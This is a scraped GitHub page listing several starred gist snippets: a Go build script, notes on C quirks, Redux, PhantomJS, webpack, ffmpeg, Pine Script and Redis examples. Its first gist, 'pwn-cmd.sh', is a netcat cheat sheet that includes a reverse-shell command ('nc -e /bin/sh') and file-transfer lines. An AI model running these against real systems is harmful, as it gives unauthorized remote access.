Skip to content

Instantly share code, notes, and snippets.

View jonathanwork's full-sized avatar

Jonathan Lopez jonathanwork

View GitHub Profile
@megalucio
megalucio / pwn-cmd.sh
Last active August 5, 2022 00:03
Some useful pwn commands
# Netcat simple listen
netcat -lvp [port]
# Netcat reverse shell
nc -e /bin/sh [destination] [port]
# Nectat file transfer
nc -l -p 1234 > out.file
nc -w 3 [destination] [port] < out.file
@DimaKoz
DimaKoz / go-executable-build.sh
Last active October 7, 2024 15:06
The Script to Automate Cross-Compilation for Golang(OSX)
#Before we can use the script, we have to make it executable with the chmod command:
#chmod +x ./go-executable-build.sh
#then we can use it ./go-executable-build.sh yourpackage
#!/usr/bin/env bash
package=$1
if [[ -z "$package" ]]; then
echo "usage: $0 <package-name>"
exit 1
fi
@fay59
fay59 / Quirks of C.md
Last active September 4, 2024 23:07
Quirks of C

Here's a list of mildly interesting things about the C language that I learned mostly by consuming Clang's ASTs. Although surprises are getting sparser, I might continue to update this document over time.

There are many more mildly interesting features of C++, but the language is literally known for being weird, whereas C is usually considered smaller and simpler, so this is (almost) only about C.

1. Combined type and variable/field declaration, inside a struct scope [https://godbolt.org/g/Rh94Go]

struct foo {
   struct bar {
 int x;
@elnino-ict
elnino-ict / actions.js
Last active June 18, 2017 00:52
React Redux
/**
* Send a login request to the server to retrieve a JWT token.
* @param credentials
* @returns {{type: *, isFetching: boolean, isAuthenticated: boolean, credentials: *}}
*/
function requestLogin() {
return {
type: LOGIN_REQUEST,
isFetching: true,
isAuthenticated: false
@jonathanwork
jonathanwork / google.js
Created October 3, 2016 02:23 — forked from khilnani/google.js
Phantom.js script to take screenshots of a google search result
#!/usr/bin/env phantomjs
//--------------------------------------------------------
var page = require('webpage').create(),
system = require('system'),
action = null,
q = null;
//--------------------------------------------------------
@eiyaya
eiyaya / webpack.config.js
Created June 17, 2016 05:38
webpack config
var webpack = require('webpack');
module.exports = {
plugins: [
// http://stackoverflow.com/questions/29080148/expose-jquery-to-real-window-object-with-webpack
new webpack.ProvidePlugin({
// Automtically detect jQuery and $ as free var in modules
// and inject the jquery library
// This is required by many jquery plugins
jquery: "jquery",
@rosstimson
rosstimson / Dockerfile
Created October 13, 2015 20:37
Easily get ffmpeg on Fedora with support for all the things.
# Dockerfile for ffmpeg with pretty much support for everything as per:
# https://trac.ffmpeg.org/wiki/CompilationGuide/Centos
# includes codecs with weird licensing like MP3 and AAC.
#
FROM fedora
MAINTAINER Ross Timson <ross@rosstimson.com>
# Install build requirements.
RUN dnf install -y autoconf automake cmake freetype-devel gcc gcc-c++ git libtool make mercurial nasm pkgconfig zlib-devel
@marketcalls
marketcalls / Supertrend V1.0 - Pinescript
Created December 18, 2014 09:42
Supertrend V1.0 - Pinescript
study("Supertrend V1.0 - Marketcalls", overlay = true)
Factor=input(3, minval=1,maxval = 100)
Pd=input(7, minval=1,maxval = 100)
Up=hl2-(Factor*atr(Pd))
Dn=hl2+(Factor*atr(Pd))
@khilnani
khilnani / google.js
Created January 26, 2014 06:26
Phantom.js script to take screenshots of a google search result
#!/usr/bin/env phantomjs
//--------------------------------------------------------
var page = require('webpage').create(),
system = require('system'),
action = null,
q = null;
//--------------------------------------------------------
@reu
reu / pub-sub.js
Created April 9, 2013 01:51
node.js redis pub-sub example
var redis = require("redis")
, subscriber = redis.createClient()
, publisher = redis.createClient();
subscriber.on("message", function(channel, message) {
console.log("Message '" + message + "' on channel '" + channel + "' arrived!")
});
subscriber.subscribe("test");